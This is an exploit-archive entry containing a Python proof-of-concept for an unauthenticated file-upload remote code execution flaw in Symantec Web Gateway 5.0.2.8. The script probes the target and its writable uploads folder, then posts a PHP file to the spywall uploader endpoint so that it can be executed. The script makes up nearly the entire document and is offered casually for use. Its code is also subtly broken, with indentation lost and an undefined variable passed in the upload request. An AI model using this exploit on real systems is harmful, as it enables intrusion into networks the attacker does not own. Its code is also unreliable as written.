Symantec Web Gateway 5.0.2.8 Remote Code Execution

`# Title: Preauth RCE in Symantec Web Gateway 5.0.2.8  
# Date: 26.03.2020  
# Vendor: www.symantec.com  
# Vulnerable software: www.symantec.com  
# Repo: https://github.com/c610/free/  
  
  
  
#!/usr/bin/env python  
# seemantech.py - small preauth poc for symantec web gateway  
# 27.03.2020 by code610  
#  
# more : https://twitter.com/CodySixteen  
# https://code610.blogspot.com  
#  
# to use this bug:  
# - uploads folder must exists on remote host  
# - and it must be writable  
#  
# have fun  
#  
import sys, re  
import requests  
  
target = sys.argv[1]  
  
def main():  
print 'symantec web gateway preauth rce poc'  
print ' seemantech.py - vs - %s' % ( target )  
print ''  
  
baseUrl = target  
uploadUrl = target + '/uploads/'  
  
checkBase = requests.get(target,verify=False)  
check_status = checkBase.status_code  
  
if check_status == 200:  
print '[+] target alive, checking uploads'  
  
checkUpload = requests.get(uploadUrl, verify=False)  
isthereupload = checkUpload.status_code  
  
if isthereupload == 200:  
print '[+] uploads exists! continuing...'  
  
uploader = target + '/spywall/uploader.php'  
upshell = open('sh.php','w')  
upshell.write('<?php phpinfo();')  
upshell.close()  
up_data = {  
'file':open('sh.php','rb')  
}  
  
upme = requests.post(uploader, files=files, verify=False)  
upresp = upme.text  
print upresp  
  
# run me:  
if __name__ == '__main__':  
main()  
`